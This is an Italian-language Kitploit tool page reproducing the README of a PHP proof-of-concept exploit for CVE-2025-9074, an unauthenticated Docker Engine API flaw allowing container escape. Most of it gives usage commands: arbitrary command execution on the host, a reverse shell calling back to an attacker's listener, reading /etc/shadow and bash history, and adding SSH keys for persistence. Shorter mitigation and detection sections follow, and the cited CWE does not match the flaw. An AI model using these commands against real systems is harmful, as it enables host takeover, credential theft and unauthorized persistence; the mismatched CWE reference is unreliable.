Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-9074 — PHP poc, exploit per CVE-2025-9074 | Kitploit
Strumenti/GitHubGitHub/c0gnit00/cve-2025-9074
Escalation di PrivilegiGenerazione di PayloadAnalisi delle VulnerabilitàExploitMovimento LateralePost-ExploitPenetration TestingSicurezza CloudCommand and ControlStrumento di Accesso RemotoEscape dal Container
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
c0gnit00/cve-2025-9074

CVE-2025-9074

PHP poc, exploit per CVE-2025-9074

Vedi Repository

CVE-2025-9074: Docker Engine API RCE non autenticata

Gravità: CRITICA | Punteggio CVSS: 9.8 (stimato) | Versioni interessate: Docker Desktop < 4.44.3

Una proof-of-concept per CVE-2025-9074, una vulnerabilità di Remote Code Execution non autenticata nell'API di Docker Engine che consente l'escape da container privilegiati e il compromesso del sistema host.

🔴 Panoramica della vulnerabilità

CVE-2025-9074 è una vulnerabilità critica in Docker Desktop che espone l'API di Docker Engine senza una corretta autenticazione o isolamento di rete. Ciò consente ad attaccanti remoti di:

  • Eseguire comandi arbitrari con privilegi elevati
  • Eludere l'isolamento dei container e accedere al filesystem dell'host
  • Stabilire connessioni reverse shell verso sistemi controllati dall'attaccante
  • Compromettere l'intero host dei container e il sistema operativo sottostante

Vettore d'attacco

  • Esposizione di rete: API Docker esposta su interfacce di rete (tipicamente porta 2375/TCP)
  • Nessuna autenticazione: L'API accetta richieste senza autenticazione
  • Container privilegiati: Capacità di creare container privilegiati con accesso al filesystem dell'host
  • Bind mount: Accesso diretto al filesystem dell'host tramite percorsi bind mount

📋 Requisiti

  • PHP CLI (7.0+)
  • Estensione curl abilitata in PHP
  • Connettività di rete verso l'endpoint API Docker esposto
  • Docker Desktop < 4.44.3 (versione vulnerabile)

Requisiti di sistema per il target

La vulnerabilità interessa:

  • Docker Desktop per Windows < 4.44.3
  • Docker Desktop per Mac < 4.44.3
  • Docker Engine (quando esposto senza TLS)

🚀 Avvio rapido

Installazione

root@kitploit:~
git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074

Utilizzo base

Esegui un singolo comando sull'host Docker:

root@kitploit:~
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

Reverse shell

Stabilisci una reverse shell interattiva:

root@kitploit:~
# Terminale 1: Avvia il listener
nc -lvnp 4444

# Terminale 2: Esegui l'exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444

📖 Guida all'utilizzo

Sintassi dei comandi

root@kitploit:~
php poc.php -u <url> [options]

Opzioni

Modalità: Esecuzione di comandi

Esegui singoli comandi sul target:

root@kitploit:~
# Comando semplice
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"

# Leggi file dall'host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup

# Con cleanup
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup

Modalità: Reverse shell

Genera una shell interattiva con callback:

root@kitploit:~
php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444

Esempi specifici per sistema operativo

Target Linux

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux

Target Windows

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows

Target macOS

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac

🎯 Scenari di sfruttamento nel mondo reale

1. Ricognizione

root@kitploit:~
# Enumera il sistema host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

2. Raccolta di credenziali

root@kitploit:~
# Estrai file sensibili
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"

3. Persistenza

root@kitploit:~
# Aggiungi chiave SSH
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"

4. Movimento laterale

root@kitploit:~
# Enumera i container e le reti in esecuzione
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"

🔍 Dettagli tecnici

Meccanismo della vulnerabilità

  1. Socket/API Docker esposto: L'API Docker resta in ascolto su 0.0.0.0:2375 senza autenticazione
  2. Creazione di container privilegiati: La POC crea container privilegiati tramite /containers/create
  3. Binding del filesystem host: I container utilizzano bind mount per accedere al filesystem dell'host:
    • Linux: /:/mnt/hostfs
    • macOS: /:/mnt/hostfs
    • Windows: /mnt/host/c:/mnt/hostfs
  4. Esecuzione dei comandi: I comandi vengono eseguiti con privilegi root/SYSTEM all'interno del container
  5. Accesso al filesystem host: Accesso diretto in lettura/scrittura ai percorsi /mnt/hostfs

Flusso del payload

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│ poc.php (La tua macchina)                            │
└────────────┬────────────────────────────────────────┘
             │ Chiamata API REST HTTP
             ▼
┌─────────────────────────────────────────────────────┐
│ API Docker (Porta target 2375) [SENZA AUTENTICAZIONE]│
└────────────┬────────────────────────────────────────┘
             │ Crea container
             ▼
┌─────────────────────────────────────────────────────┐
│ Container Alpine privilegiato                        │
│ ├─ Accesso root completo                            │
│ ├─ Bind Mount: /:/mnt/hostfs                        │
│ └─ Esegue il comando dell'attaccante                │
└────────────┬────────────────────────────────────────┘
             │ Output del comando
             ▼
┌─────────────────────────────────────────────────────┐
│ Output restituito all'attaccante                     │
└─────────────────────────────────────────────────────┘

Analisi del codice

  • Interazione con l'API Docker: Utilizza cURL per la comunicazione REST API HTTP/1.1
  • Demuxing dei log Docker: Gestisce correttamente il formato di stream multiplexato di Docker
  • Supporto multipiattaforma: Adatta i percorsi bind mount per Windows/Mac/Linux
  • Gestione dei timeout: Timeout di 60 secondi per comandi a lunga esecuzione

🛡️ Mitigazione

Azioni immediate

  1. Aggiorna Docker Desktop

    root@kitploit:~
    # Aggiorna alla versione 4.44.3 o successiva
    
  2. Isolamento di rete

    • Limita la porta API Docker (2375) al solo localhost
    • Utilizza regole firewall per bloccare l'accesso esterno
    • Disabilita l'esposizione della socket API Docker
  3. Abilita l'autenticazione TLS

    root@kitploit:~
    # Configura il daemon Docker con certificati TLS
    # In daemon.json:
    {
      "tlsverify": true,
      "tlscacert": "/etc/docker/ca.pem",
      "tlscert": "/etc/docker/server-cert.pem",
      "tlskey": "/etc/docker/server-key.pem"
    }
    
  4. Segmentazione della rete

    • Esegui Docker Desktop su reti isolate
    • Implementa accesso di rete zero-trust
    • Utilizza VPN per l'accesso remoto

Impostazioni di Docker Desktop

  • Windows/Mac: Disabilita "Esponi il daemon su tcp://localhost:2375"
  • Utilizza la socket Unix (/var/run/docker.sock) solo per l'accesso locale
  • Implementa l'autenticazione tramite Docker Context con credenziali

📊 Rilevamento

Rilevamento di rete

root@kitploit:~
# Scansiona le API Docker esposte
nmap -p 2375,2376 -sV target_network

# Verifica se la porta risponde all'API Docker
curl -s http://target:2375/version

Rilevamento tramite log

  • Monitora i log del daemon Docker per chiamate API anomale
  • Avvisa sulla creazione di container privilegiati
  • Tieni traccia dei pattern di utilizzo dei bind mount

⚠️ Disclaimer

Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi.

  • Utilizza questa POC solo su sistemi di tua proprietà o per i quali hai esplicito permesso di testare
  • L'accesso non autorizzato a sistemi informatici è illegale
  • Gli utenti si assumono la piena responsabilità delle proprie azioni
  • Questa POC è destinata a penetration test autorizzati e ricerca sulle vulnerabilità

📝 Riferimenti

  • Sicurezza di Docker Engine
  • Documentazione API Docker
  • Dettagli CVE-2025-9074
  • CWE-784: Affidamento ai Cookie senza Corretta Validazione

🤝 Contributi

I contributi sono benvenuti! Non esitare a inviare issue o pull request.

📄 Licenza

Questo progetto è concesso in licenza sotto la MIT License - consulta il file LICENSE per i dettagli.

👤 Autore

Ricercatore di Sicurezza | Penetration Tester


Ultimo aggiornamento: Maggio 2025 | Stato: Ricerca attiva

Scarica lo strumento
OpzioneBreveObbligatoriaDescrizione
--url-u✅ SìURL API Docker (es., http://1.2.3.4:2375)
--mode-m❌ NoModalità di esecuzione: cmd o reverse (predefinita: cmd)
--cmd-c⚠️ Per modalità cmdComando da eseguire sul target
--lhost-l⚠️ Per modalità reverseIl tuo indirizzo IP per il callback
--lport-p❌ NoLa tua porta in ascolto (predefinita: 4444)
--os—❌ NoSistema operativo target: linux, mac, windows (predefinito: linux)
--cleanup—❌ NoRimuovi il container dopo l'esecuzione
--help-h❌ NoMostra il messaggio di aiuto